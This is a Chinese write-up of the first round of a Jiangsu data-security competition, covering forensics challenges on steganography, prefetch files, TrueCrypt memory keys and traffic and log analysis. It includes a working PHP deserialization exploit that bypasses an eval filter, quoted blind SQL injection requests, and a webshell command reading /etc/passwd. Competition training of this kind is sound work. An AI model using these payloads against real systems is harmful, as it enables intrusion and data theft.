江蘇省第二屆資料安全技術應用職業技能競賽初賽WP

渗透测试中心發表於2024-10-07

一、資料安全解題賽

1、ds_0602

在這裡插入圖片描述
解題思路
題目讓我們獲取加密檔案中的原始資料,解密後提交第六行第二列資料,下載附件,發現裡面有兩個檔案,其中一個是“.enc”結尾,那這裡我們得先簡單瞭解一下“.enc”結尾的是什麼型別的檔案。
在這裡插入圖片描述

簡單來說“.enc”結尾的檔案通常是經過加密的檔案。具體來說,副檔名“.enc”並不代表某種特定的檔案型別,而是一個通用的標識,表示檔案內容已被加密,那題目要求我們的就顯而易見了,那這裡右鍵開啟方式選擇“記事本”開啟分析即可。得到;
在這裡插入圖片描述
簡單分析一下,很明顯這裡面都是經過“base64加密”過的,那這裡題目讓進行解碼,所以相反的,我們直接隨便找個線上“base64”解碼即可,那話又說回來了,這裡為什麼我就可以確認是“base64編碼”呢?
base特徵;
編碼長度:
每3個位元組的二進位制資料(24位)會被編碼為4個ASCII字元(每個字元6位)。
編碼後的長度通常是原始資料長度的1.33倍,即原資料長度的4/3。
字符集:
Base64編碼使用以下64個字元組成的字符集:
大寫字母:A-Z
小寫字母:a-z
數字:0-9
兩個符號:+ 和 /
在某些實現中,可能會替換符號,例如:+ 用 - 替換,/ 用 _ 替換(通常用於URL安全的Base64編碼)。
填充字元:
如果輸入資料的位元組數不是3的倍數,編碼後的結果會使用=符號進行填充,使其長度成為4的倍數。
一個等號表示輸入長度除以3餘1,兩個等號表示餘2。
簡單來說Base64編碼是一種用於將二進位制資料轉換為ASCII字元的編碼方法。
線上base64解碼,得到;
在這裡插入圖片描述

題目中所說的“第六行第二列資料”,那我們這裡直接複製第六行的解碼即可得到;
在這裡插入圖片描述

至此;
flag{767378199223105126}

2、333.file

在這裡插入圖片描述
解題思路
下載附件,解壓得到一段以“.wav”結尾的音訊,丟進“deepsound”、“silenteye”、“Audacity”均無果,這時候就要使用“010”開啟分析一下,看看裡面有沒有什麼關鍵資訊,比如“flag”或者“zip”關鍵字樣,再接著我們也可以丟進“kali”中使用“binwalk”來分析一下,看看裡面有沒有可以分離的檔案;
“DeepSound”無果;
在這裡插入圖片描述


“silenteye”無果;

在這裡插入圖片描述

“Audacity”無果;

在這裡插入圖片描述

那就暫時沒辦法嘛,只能丟進“kali”中簡單使用“binwalk”分析一下,發現裡面確實存在一個殘缺的“zip”,但是使用“binwalk -e”還不足以提取出來,那這裡我們就嘗試使用“foremost -i”(原理跟binwalk -e差不多隻不過換了一種提取方式,感興趣的師傅可以去了解一下他們兩的區別,這裡不在多強調)取中音訊存在的隱藏檔案。
使用命令;
binwalk -e 333.wav --run-as=root
得到
在這裡插入圖片描述

使用“foremost -i”提取成功,開啟發現裡面並不是我們之前使用“binwalk”分析出的“zip”,而是又一段".wav"結尾的音訊,不過透過簡單分析發現,這個音訊並不是之前的音訊,最簡單的分析方法就是它們的大小不一樣,所以這裡,我們還是如圖上面一樣基本的常見“.wav”分析工具都過一遍,最後也是在“Audacity”中發現關鍵資訊!
使用命令;
foremost -i 333.wav -o /root/桌面/123 -T
得到
在這裡插入圖片描述

開啟分離的出的檔案得到兩個音訊,都簡單分析一下即可;

在這裡插入圖片描述

最後也是第二個音訊“00006606.wav”中的“Audacity”的“頻譜圖”發現關鍵資訊!

在這裡插入圖片描述
得到關鍵資訊,pass:stego0626;
那這裡也很明顯,肯定是某某的密碼,畢竟都“pass”那也就不言而喻了,那到這裡其實就沒有什麼可以分析的了,因為基本能翻到的想到的也全都嘗試了一遍但是都沒有效果,但這裡突然想到之前使用“binwalk”分析的時候,裡面確實有一個殘缺的“zip”,沒有分離成功,然後才使用“foremost -i”才分離出的“pass”,那我們不妨使用“010”簡單定位一下,看看這個”zip“是不是殘缺的,因為有時候殘缺的使用”foremost“或者”binwalk“是不能直接分離出的,必須手動分離;
使用“010”分析查詢“zip”(zip的十六進位制——504B0304)
在這裡插入圖片描述

大致簡單看一下,發現了關鍵的資訊“flag”,確實是我們心心念唸的flag,但是好像這個zip缺少了主要的頭部,也就是我們剛剛查詢的“504B0304”這個開頭,不認識沒有關係,我們可以拿一張正常的“zip”開頭做為對比;
正常的“zip”十六進位制表示;
在這裡插入圖片描述

不難看出正常的“zip”確實是開頭包含著“504B0304”等等,但是這裡的我們並沒有發現存在,那我們嘗試直接補全儲存看看難不難正常開啟;
直接在“010”中“新建十六進位制檔案”,接著選中剛剛那一整段貼上即可;
在這裡插入圖片描述

選中"zip"的主體內容,右鍵複製即可;
在這裡插入圖片描述
當然這裡既然是缺少“zip”的頭部,那我們新建好的同時,可以直接先輸入“504B0304”,以防後面需要插入(當然也可以後插入內容,看各位師傅的習慣)
在這裡插入圖片描述
貼上,並且儲存格式選擇“zip”即可,注意儲存位置,以防自己找不著;
在這裡插入圖片描述
最後開啟“zip”也確確實實需要密碼,那我們輸入前面提取出來的密碼“pass:stego0626”即可開啟;
在這裡插入圖片描述

得到的空白檔案,我們可以選中右鍵“記事本”開啟進行分析;

在這裡插入圖片描述

發現並不是我們需要的flag,不過沒關係,我們可以選中使用“010”開啟再進行分析一下得到;
在這裡插入圖片描述
發現這個“flag”空白檔案的頭部,是以“78 9c 4b cb”開頭的,通常來說以十六進位制 78 9c 4b cb 開頭的檔案通常是使用 zlib 壓縮演算法壓縮過的檔案。
所以我們可以直接新增一個“zlib”字尾,接著再使用“binwalk -e”進行分離,最後發現了flag,使用命令;
binwalk -e flag.zlib --run-as=root
成功分離
在這裡插入圖片描述
開啟分離的檔案進行分析,最後也是成功得到了flag;
在這裡插入圖片描述
至此;
flag{81633464866e622d275c309b22cb907b}
這裡分離並不是唯一的方法,我們可以使用“CyberChef”進行“zlib”解碼也是可以解出flag;
在這裡插入圖片描述

3、pf檔案分析

在這裡插入圖片描述
解題思路
題目巴拉巴拉一大堆不過沒事我們找關鍵的,簡單來說就是讓我們從中找出使用次數最多的軟體名稱提交即可,那這裡我們還是首先簡單瞭解一下什麼是“pf”檔案吧;

PF檔案(Prefetch File)是Windows作業系統中的一種快取檔案,用於加快應用程式的啟動速度。每當你在Windows中執行某個應用程式時,系統會建立或更新與該應用程式相關聯的PF檔案。這個檔案記錄了該程式啟動時所需的資源,包括載入的DLL、檔案路徑等資訊。
主要特點:
儲存位置:
PF檔案通常儲存在C:\Windows\Prefetch目錄下,檔名格式為程式名-雜湊值.pf。
加快啟動速度:
PF檔案透過記錄程式啟動所需的資源,可以幫助作業系統在下次啟動該程式時更快速地載入這些資源,從而加快啟動速度。
取證分析:
在數字取證中,PF檔案可以用於分析使用者行為,檢視某個程式何時、如何被啟動,幫助重建事件時間線。
清理影響:
清理PF檔案可能會導致應用程式首次啟動速度變慢,但對系統的整體效能影響不大。
總結:
PF檔案是Windows系統用於最佳化程式啟動效能的一種快取檔案,儲存在特定目錄下,並在程式啟動時被建立或更新。在數字取證領域,這些檔案也有助於分析使用者行為。
那既然已經初步瞭解到了“pf”檔案,我們直接下載附件,開啟發現需要密碼,哎,一開始還很奇怪,想著題目中也沒有密碼,主辦方也沒有給密碼,那密碼難道被主辦方遺忘了?後面仔細觀察發現這個下載的附件,也就是所謂的“zip”名稱,既然是一個“base64”編碼,那我們直接進行解碼,也是成功得出了密碼
需要密碼;
在這裡插入圖片描述
線上base64解碼
解碼得到;
在這裡插入圖片描述


zip密碼:IAMPASSWORD
最後也是解壓成功了,那我們話又說回來了,想要分析“Prefetch”,到底使用什麼工具分析呢?
這裡給師傅們總結一下;
PECmd:
用途:PECmd 是一個命令列工具,用於解析和分析Windows Prefetch檔案。它可以提取Prefetch檔案中的詳細資訊,如程式的執行時間、路徑、關聯的DLL等,非常適合進行數字取證分析。
特點:支援批次處理、生成CSV報告,並能夠解析多種Windows版本的Prefetch格式。
WinPrefetchView:
用途:WinPrefetchView 是一款簡單的GUI工具,用於檢視和分析Prefetch檔案。它可以快速列出Prefetch目錄中的檔案,並顯示每個檔案的詳細資訊,如程式的啟動次數、最後一次執行時間等。
特點:介面友好,操作簡單,適合快速檢視Prefetch檔案內容。
這兩個工具是分析Prefetch檔案時最常用的,適合不同層次的需求,從簡單的檢視到深入的取證分析。
那這裡我們就先使用“PECmd”來進行分析;
使用命令;
PECmd.exe -d D:\最新下載\PECmd\Prefetch --json output.txt
簡單分析一下命令;
就是使用 PECmd 工具來解析位於 D:\最新下載\PECmd\Prefetch 目錄下的 Prefetch 檔案,並將輸出結果以 JSON 格式儲存到 output.txt 檔案中。
得到;
在這裡插入圖片描述
最後也是在當前目錄下,發現了我們建立的“output”檔案;
在這裡插入圖片描述
選中右鍵選中“記事本”開啟分析即可;

得到;
在這裡插入圖片描述

題目讓我們查詢軟體使用次數最多的是,所以我們找的使用次數最多的即可,那這裡“RunCount”英文翻譯過來就是肯定就是執行了,所以我們只需“Ctrl+F”進行定位“RunCount”即可,一個一個慢慢看,因為它後面會跟著一個數字,那個就是軟體執行的次數;
得到;
在這裡插入圖片描述
但是發現並不是執行次數最多的,後面陸陸續續發現了還有更多的38、71等等,也是慢慢查詢,確定了最多“82”!
得到;
在這裡插入圖片描述

至此;
flag{SEARCHFILTERHOST.EXE}
擴充
接著上面我們使用了“PECmd”來進行分析“Prefetch”,那有點師傅就覺得,哎,這是不是有點麻煩了,又是解析,又是記事本開啟查詢的,是不是有點太麻煩了?哎!確實還真有比這更so easy的方法,就是我們接下來要說到的工具“WinPrefetchView”
這邊已提取下載好,那我們這裡直接開啟工具“WinPrefetchView”
在這裡插入圖片描述
接著點選“選項”,選中“高階選項”,更改你的“Prefetch”位置即可,最後點選確認即可;
得到;
在這裡插入圖片描述

我們直接簡單給執行次數排個序即可得知,這種方法相比於第一種來說,確實方便了不少,而且更為直觀並且清晰的看見;

4、丟失的資料

在這裡插入圖片描述
解題思路
題目巴拉巴拉一大堆其中有用的不多,我們來總結一下,簡單來說就是讓我們取出其中的客戶的手機號最後提交進行一個小寫MD5加密,那我們下載附件得到兩個檔案得到;
在這裡插入圖片描述

簡單分析一下什麼是“disk”檔案以及“.raw”檔案;
什麼是“disk”檔案?
“Disk” 檔案通常指的是儲存裝置的映象檔案,它是對整個硬碟、分割槽或其他儲存介質的精確複製。這種檔案包含了磁碟上的所有資料,包括檔案系統、分割槽表、引導記錄以及所有儲存在磁碟上的檔案和資料夾。
用途:常用於備份、克隆磁碟或進行資料恢復。它們也被用於法務分析中,透過磁碟映象來分析和重建磁碟上儲存的資料。
格式:Disk 檔案可能以不同的格式存在,如 .img、.iso、.vmdk(虛擬磁碟檔案)等。
什麼是“.raw”檔案?
.raw 檔案通常指的是原始磁碟映象檔案(Raw Disk Image)。這是一種未壓縮的映象格式,包含了磁碟上的所有原始資料,逐位元組地精確複製了整個磁碟或分割槽。
特點:
未壓縮:.raw 檔案不包含任何壓縮或修改的資料,是最原始的磁碟映象格式。
通用性:由於其簡單和通用的格式,.raw 檔案可以被多種工具和作業系統識別和使用。
用途:在數字取證、資料恢復和虛擬化環境中廣泛使用。分析 .raw 檔案可以幫助恢復刪除的檔案、分析檔案系統結構以及進行其他低階別的資料操作。
總結
Disk 檔案:通常指磁碟映象檔案,是對整個儲存裝置的複製。
.raw 檔案:是未壓縮的磁碟映象格式,包含磁碟上的原始資料,常用於取證分析和資料恢復。
那話又說回來了,我們知道了是什麼檔案,那我們怎麼分析它們呢?
當然在分析磁碟映象檔案(“disk”檔案或“.raw”檔案)時,以下是常用的工具推薦:
Volatility 2.6:
用途:Volatility 是一個記憶體取證分析工具,雖然主要用於記憶體轉儲分析,但它也可以用於分析磁碟映象中的資料。透過與磁碟映象配合,Volatility 可以提取並分析與記憶體相關的資料,如程序、網路連線、登錄檔項等。
特點:功能強大,支援多種作業系統的記憶體分析,適合深度分析與取證工作。
Elcomsoft Forensic Disk Decryptor:
用途:Elcomsoft Forensic Disk Decryptor 專門用於解密加密的磁碟映象檔案。它支援 BitLocker、TrueCrypt、VeraCrypt 等多種加密系統,並能幫助取證人員從這些映象檔案中提取和分析資料。
特點:強大的解密能力,特別適合在遇到加密磁碟映象時使用。
總的來說
Volatility 2.6:用於記憶體取證分析,也可結合磁碟映象進行高階資料提取。
Elcomsoft Forensic Disk Decryptor:專門用於解密和分析加密的磁碟映象檔案。
所以這裡我們先使用“vol2.6”簡單先分析一下“.raw”檔案,那我們還是老規矩相信之前看過我“取證”文章的師傅都明白了,第一步肯定先獲取映象的版本是多少,接著才能繼續往下取證;
這裡我的“vol2.6”在kali中,所以接下來的操作都是基於“kali“(詳細”vol2.6請移步至——記憶體取證例題及Volatility2.6的使用)
話不多說直接上操作,先把檔案移動到“vol2.6”同一目錄下,右鍵當前目錄開啟終端即可開始操作;
在這裡插入圖片描述
獲取映象版本,我們使用命令;
./vol -f 123.raw imageinfo
得到
在這裡插入圖片描述

當前版本:Win7SP1x64
這裡題目給了“disk”,所以我們直接使用“VeraCrypt”進行掛載即可,但是報錯了,並沒有如願掛載成功,那我們就暫時換一個思路,參考一下別的師傅文章,發現可以使用“Elcomsoft Forensic Disk Decryptor”這個工具直接進行掛載也是可以,但是在此之前我們必須先把檔案“turecrypt”這個程序的映象“dump”下來;
那這裡可能就有的師傅有疑問了,為什麼掛載還需要先將“turecrypt”dump下來?
簡單來說
獲取解密金鑰:
TrueCrypt 和其他加密軟體在執行時,會將解密金鑰或相關的加密資訊載入到記憶體中。要解密加密的磁碟映象,必須要有這些金鑰資訊。
Volatility 可以從記憶體轉儲檔案(memory dump)中提取這些加密金鑰或 TrueCrypt 配置檔案等關鍵資料。
Elcomsoft Forensic Disk Decryptor 依賴金鑰資訊:
Elcomsoft Forensic Disk Decryptor 需要這些提取出的金鑰來解密磁碟映象。沒有正確的金鑰,解密過程將無法進行。
透過先使用 Volatility 提取出 TrueCrypt 的解密金鑰,Elcomsoft Forensic Disk Decryptor 才能使用這些金鑰解鎖並讀取加密的磁碟映象。
所以;
1、使用 Volatility 2.6 從記憶體轉儲檔案中提取 TrueCrypt 相關的金鑰資訊或配置檔案。
2、使用 Elcomsoft Forensic Disk Decryptor,匯入這些金鑰資訊,解密加密的磁碟映象檔案。
那既然要“dump”下“TrueCrypt”,我們肯定得先知道它的程序號是多少,當然所有需要dump下的,肯定都需要先知道程序號是多少·才行;
所以這裡我們使用命令;
./vol -f 123.raw --profile=Win7SP1x64 pslist
得到;
在這裡插入圖片描述
眼睛有點花,程序是有點多的,不過沒關係我們直接篩選一下即可;
使用命令;
./vol -f 123.raw --profile=Win7SP1x64 pslist |grep "TrueCrypt"
得到;
在這裡插入圖片描述
已知程序:17008,所以我們直接使用dump下即可;
使用命令;
./vol -f 123.raw --profile=Win7SP1x64 memdump -p 17008 -D ./
得到;
在這裡插入圖片描述
接著,開啟我們已下載好的工具“Elcomsoft Forensic Disk Decryptor”;

在這裡插入圖片描述

接著選擇——TrueCrypt(container)
在這裡插入圖片描述

接著按要求匯入規定檔案即可點選下一步;
在這裡插入圖片描述
也是成功的破解key,接著我們點選下一步準備掛載;
在這裡插入圖片描述
這時候可能會彈出一個讓你儲存的框框,關掉即可,這個不要緊;
在這裡插入圖片描述
這時候點選“mount”開始掛載,最重要的一步!!!!
這時候返回你的本機,檢視“此電腦”,你會發現多了一個"G"盤出來,不要慌!這時候開啟你就可以發現裡面有一個表格,先複製出來!

在這裡插入圖片描述

掛載成功才會顯示的“G”盤,先把裡面的表格取出,接著返回“Elcomsoft Forensic Disk Decryptor”關閉掛載即可;

在這裡插入圖片描述
開啟發現;
在這裡插入圖片描述


複製出來,因為開啟會發現需要密碼,也不要慌,這時候我們就使用另外一個工具“PasswareKitForensic”專門用於取證出來的檔案爆破密碼!還是蠻好用的,推薦大家可以熟悉一下;
也是爆破了幾分鐘就出來了;

在這裡插入圖片描述

得到密碼:seabedquays
接著我們就開啟表格輸入密碼即可得到題目所說的手機號;
在這裡插入圖片描述

但是這裡還沒有完,題目中所說需要我們把手機號進行小寫的MD5加密,那這裡方法不唯一,看大家喜歡用那種,當然如果是離線,那最好的辦法就是把手機號複製到本機的一個空txt文字中,接著使用命令;
在這裡插入圖片描述

檔案“123.txt”當前目錄cmd喚出終端,使用命令;
certutil -hashfile .\123.txt md5
得到;
在這裡插入圖片描述
至此;
flag{6a9902ce8b8cc3cc24db1bafc19e0d65}
當然MD5加密方法不唯一哈,這裡僅供參考!!!

5、greatphp

在這裡插入圖片描述
解題思路
<?php
error_reporting(0);
class WOSHIMALOU {
public $Nihao;
public $Wohao;

public function __wakeup(){
if( ($this->Nihao != $this->Wohao) && (md5($this->Nihao) === md5($this->Wohao)) && (sha1($this->Nihao)=== sha1($this->Wohao)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->Nihao, $match)){
eval($this->Nihao);
} else {
die("Try!!!!!!!!!");
}

}
}
}

if (isset($_GET['getflag'])){
unserialize($_GET['getflag']);
} else {
highlight_file(__FILE__);
}
?>

原生類反序列化利用

(一開始還以為要爆破hash)

md5/sha1可以對一個類進行hash,會觸發一個類的__toString方法,但是他給的類的裡面沒有這個方法,所以就要考慮用原生類,最常用的也就是Error類和Exception類

a物件和b物件的內容是不一樣的,但是實際上他們執行出來的結果是一樣,報錯並沒有顯示出報錯的行數,這樣會導致hash值不一樣

$a=new Error("a",1);
$b=new Error("a",2);

江蘇省第二屆資料安全技術應用職業技能競賽初賽WP

所以把 a b放在同一行,這樣報錯的行數也是相同的了,也就能取到同樣的hash了

$a=new Error("a",1);$b=new Error("a",2);

江蘇省第二屆資料安全技術應用職業技能競賽初賽WP

因為在引入了Error類,所以會有其他的東西輸出,不可能,所以,選擇直接閉合?>,正規表示式過濾了小括號,直接用include "/flag"即可,雖然過濾了引號,但是可以取反繞過

EXP:


<?php

class WOSHIMALOU {
        public $Nihao;
        public $Wohao;
}

$str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!".urldecode("%FF")."]?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new WOSHIMALOU();
$c->Nihao= $a;
$c->Wohao= $b;
echo(urlencode(serialize($c)));

?>

二、資料安全分析賽

一、簡單分析

簡述:小明所建立的網站受到了攻擊,現在需要對資料包進行分析,請你幫助他解答疑惑。
1、問題一:攻擊者成功登陸後臺的賬號密碼是?(如賬號為admin,密碼為admin,則提交admin:admin)
在這裡插入圖片描述
解題思路
題目巴拉巴拉一大堆,簡單來說就是讓我們提交駭客成功登入後臺的賬號密碼,那我們這裡下載附件,解壓得到一個流量包,那這一整大題估計都是基於流量分析了,那我們開啟“Wireshark”把下載得到的附件“fenxi1.pcapng”丟進去進行分析得到;
在這裡插入圖片描述


題目中所說的駭客登入成功的賬號密碼,那既然說了是登入,那在流量包中我們就可以嘗試直接搜尋關鍵字串“Login”,當然這是方法之一;
得到;
在這裡插入圖片描述

其實這裡就是駭客登入成功的後臺賬號密碼,當然除這種方法之外,還有一種,我們可以直接鎖定協議“http”,接著開啟協議分級,可以看見前面幾個都是滿的,只要最後一個“HTML”開頭,我們可以右鍵單獨選中出來進行檢視;
在這裡插入圖片描述
右鍵選中即可;
在這裡插入圖片描述

這時候就會發現只有三條記錄,接著一條一條點開分析即可(最後也是在中間那一條記錄發現),不管你是直接檢視還是右鍵http追蹤分析也好的,都是可以發現駭客成功登入的賬號密碼;
在這裡插入圖片描述
得到;
在這裡插入圖片描述
至此;
flag{elvis:1234}
2、問題二:攻擊者使用的webshell檔名稱以及執行了什麼命令?(如檔名稱為123.php命令為ls,則提交123.php:ls)
在這裡插入圖片描述
解題思路
題目讓我們提交駭客使用webshell檔名稱執行了什麼命令,那這裡其實還是可以和上題一樣,既然說了webshell了,那多少肯定帶一點關鍵字元竄“webshell”,所以這裡我們也還是可以直接搜尋關鍵字串“webshell”,但是搜尋之後並沒有發現,但是如果做上題仔細的師傅的話可能會發現,上一題的第三條流量包就是帶有“webshell”;
得到;
在這裡插入圖片描述


這名字還是“webshe11here”,這是生怕我們找不到啊!!,不過剛剛我直接搜尋“webshell”的時候並沒有發現,我說怎麼回事呢,原來它把“webshell”替換成了“webshe11”,那這也破案了!這裡往下翻一下就能發現駭客執行的命令,清晰可見!

得到;
在這裡插入圖片描述

那這裡有的師傅可能就有疑問了,你怎麼就確認這個是執行的駭客執行的命令呢?
那也沒關係嘛,我們也是可以直接右鍵追蹤http流來進行分析的
得到;
在這裡插入圖片描述
這裡都是預設“URL”編碼,所以找一個URL線上解碼即可;
URL線上解碼
得到;
在這裡插入圖片描述

也還是一樣可以得到:cmd=system(‘cat …/…/…/…/etc/passwd’);
再根據題目的提交格式:123.php:ls
至此;
flag{webshe11here.php:cat ../../../../etc/passwd}
3、問題三:被登入的後臺使用者對應的郵箱是什麼?(如xxx@xxxx.com)
在這裡插入圖片描述
解題思路
題目問我們被駭客登入後臺的使用者對應郵箱是什麼?那這裡既然說了郵箱郵箱,那肯定就是“email”咯!所以我們也還是可以直接鎖定關鍵“email”,不過這裡鎖定可不只是單純像之前那樣,我們可以直接使用http協議來過濾鎖定;
使用命令;
http contains "email"
簡而言之,這個語句通常用於過濾或查詢包含“email”字樣的 HTTP 資料,這也正是我們需要的;
得到;
在這裡插入圖片描述

這裡不難看出包確實有很多個,但很多可能都是重複的,為什麼這樣說呢?可以從它的大小看出“686”、“781”、“782”當然不否認個別可能會有點偏差,但基本大差不差,所以這裡我們從小的包往大的包逐個分析即可;
得到;
在這裡插入圖片描述
也是在包大小為“781”的裡面發現了使用者的郵箱,當然這裡也看見了我是使用了快速定位查詢關鍵詞“elvis”,是的沒錯,可能觀察仔細的師傅就發現了,其實第一題中,我們就已經得到了使用者的使用者名稱“elvis”,根據以往多年的郵箱經驗多少都會郵箱的使用者名稱,所以我們直接定位“elvis”即可;
至此;
flag{qvkxqelvis@stuvwxyz.com}
總結一下;
其實這三題的流量分析都是基於http協議上的,如果實在是找不到文章中說的這些關鍵詞什麼的,大可慢慢翻http,如果觀察仔細一些,完全是可以慢慢找出關鍵資訊的,總體來說,這一整大題的流量分析還是很友好的,這個題目給個好評;

二、駭客攻擊探秘

簡述:某應用程式被攻擊了,請分析日誌回答以下問題:
1、問題一:請問駭客採取的攻擊手段是?(如有英文字母請大寫)答案請先base64編碼後提交。例如:駭客採取的攻擊手段是暴力破解,則先對“暴力破解”四個字進行base64編碼,得到5pq05Yqb56C06Kej,則提交5pq05Yqb56C06Kej
在這裡插入圖片描述
解題思路
題目還是巴拉巴拉一大堆,我們找關鍵簡單來說就是問我們駭客採取的攻擊手段是什麼,最後進行base64編碼在提交即可,那我們下載附件,解壓出來是一個“access.log”日誌,我們開啟進行分析;
得到;在這裡插入圖片描述
這裡特別明顯,一開啟就一股子“SQL隱碼攻擊”的味道,裡面那麼的“select”還有“table”還有“name”那些,以及我們找的“sqli”,這裡就差沒把答案直接寫你腦門上了,不過這裡值得一提的就是,“SQL隱碼攻擊”需要進行base64編碼在提交(注意SQL隱碼攻擊的“SQL”是大寫哈,別問為什麼小寫不行,因為提交的是錯的);
base64線上編碼
得到;
在這裡插入圖片描述

至此;
flag{U1FM5rOo5YWl}
2、問題二:請問駭客最終破解的資料庫名、表名以及欄位名是什麼?請用下劃線連線。例如:Database table_column
在這裡插入圖片描述
解題思路
題目讓我們找到駭客破解的資料庫,表名,資料庫名以及欄位是什麼,這裡我相信對於瞭解一些SQL隱碼攻擊的師傅那這真是如魚得水呀,那我們話不多說我們也開始分析;
得到;
在這裡插入圖片描述

簡單分析一下;
172.17.0.1 - - [30/Jun/2024:01:44:02 +0000] "GET /index.php?id=1%20and%20if(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name='flag'%20and%20table_schema='sqli'),5,1)%20=%20'+',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 506 "-" "python-requests/2.26.0"
首先;透過分析這條日誌,我們可以從攻擊的內容中推測出駭客正在執行一個 SQL 注入攻擊,具體地說,這是一個時間盲注或者條件注入攻擊。
GET 請求:
"GET /index.php?id=1%20and%20if(...)" 是一個 HTTP GET 請求,目標是 /index.php 頁面,其中 id 引數包含了注入的 SQL 語句。
SQL 注入語句:

id=1%20and%20if(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name='flag'%20and%20table_schema='sqli'),5,1)%20=%20'+',1,(select%20table_name%20from%20information_schema.tables))
解析後,實際的 SQL 語句是:

1 and if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),5,1) = '+', 1, (select table_name from information_schema.tables))

注入目的:

資料庫名:table_schema='sqli' 指定了資料庫名為 sqli。
表名:table_name='flag' 指定了表名為 flag。
欄位名:攻擊者嘗試從 information_schema.columns 表中提取表 flag 中的欄位名。
SQL 注入的邏輯:

substr((select column_name from information_schema.columns ...),5,1) 嘗試獲取 column_name 欄位的第5個字元。
然後檢查這個字元是否等於 '+'。如果等於 '+',則返回 1(條件為真);否則執行 select table_name from information_schema.tables。
所以;

資料庫名:sqli,因為注入條件中明確指定了 table_schema='sqli'。
表名:flag,因為注入條件中明確指定了 table_name='flag'。
那我們這裡也是獲得了資料庫名以及表名,但是現在差一個欄位名,沒關係我們可以繼續往下看,這裡也是翻到了最底下,發現了關鍵;
得到;

在這裡插入圖片描述
解碼之後簡單分析一下;
1 and if(substr((select flag from sqli.flag),43,1) = '+', 1, (select table_name from information_schema.tables))
資料庫名:sqli,注入語句中明確指出目標資料庫為 sqli。
表名:flag,注入語句中指定了表名為 flag。
欄位名:flag,攻擊者正在嘗試讀取 flag 表中的 flag 欄位。
SQL 注入的邏輯:
substr((select flag from sqli.flag),43,1) 試圖獲取 flag 欄位的第43個字元。
然後檢查該字元是否等於 '+'。如果等於 '+',條件為真,則返回 1;否則執行 select table_name from information_schema.tables。
攻擊意圖;
駭客正在透過 SQL 條件注入來逐字元猜測 flag 欄位的內容。在這條請求中,駭客試圖讀取 flag 欄位的第43個字元,並檢查它是否等於 '+'。如果是,這條請求返回 1,表明條件成立;否則返回其他結果。
至此;
flag{sqli_flag_flag}
3、問題三:駭客最後得到的flag字串是什麼?
在這裡插入圖片描述
解題思路
題目讓我們提交駭客最後獲取的flag是什麼,那這裡我們就需要找到駭客注入成功的每一條記錄,並把它全部列舉出來,最後組合起來,當然也可以不需要那麼多麻煩,也是可以使用工具,那下面我們來進行分析;
得到;
在這裡插入圖片描述

這裡我篩選了駭客的關鍵句,什麼是關鍵句呢,就是每當注入成功了就不會繼續往下進行注入了,就比如;
在這裡插入圖片描述

從這裡面可以看見這一行的“14”到某一節點就停止了,不繼續往下了,是因為它匹配字元成功了,flag中就包含這個字元,同樣的“15”也是如此,匹配成功了就不繼續下去了,接著繼續“16”依次往下慢慢推!那我們需要做的就是把這些記錄一條一條複製出來,並且記下來,最後進行一個綜合,也就是我上面綜合成功出來的!

但是這題就有一些奇怪,按道理來說,都是按順序爆破下去的,但是突然崩到了40,至於中間的那一段,有點懷疑被主辦方掐掉了!
所以最後總結出來的也就是:flag{deddcd67-bcgd{db}+

後面經過許多師傅的討論與確認刪減,確認flag為;
在這裡插入圖片描述
flag{deddcd67-bcfd}
當然這裡方法不唯一,可以使用工具,也可以使用指令碼來進行統計,但是相對於我這個肯定是更復雜,我的意思是我的方法更復雜,其它的可能會簡便很多,這裡簡單展示一下其它的方法;
“B神”的指令碼工具統計;(具體步驟不得而知)
在這裡插入圖片描述
使用工具“CTF-NetA”統計出來的;(和手工統計的大差不差,不過也是需要刪減,工具需要付費)

至此;

flag{deddcd67-bcfd}


題目附件下載地址:
連結:
https://pan.baidu.com/s/17fPQ46vanD-i_j2kDi-CqQ 提取碼: gqd9



原文連結:https://blog.csdn.net/administratorlws/article/details/141396783

相關文章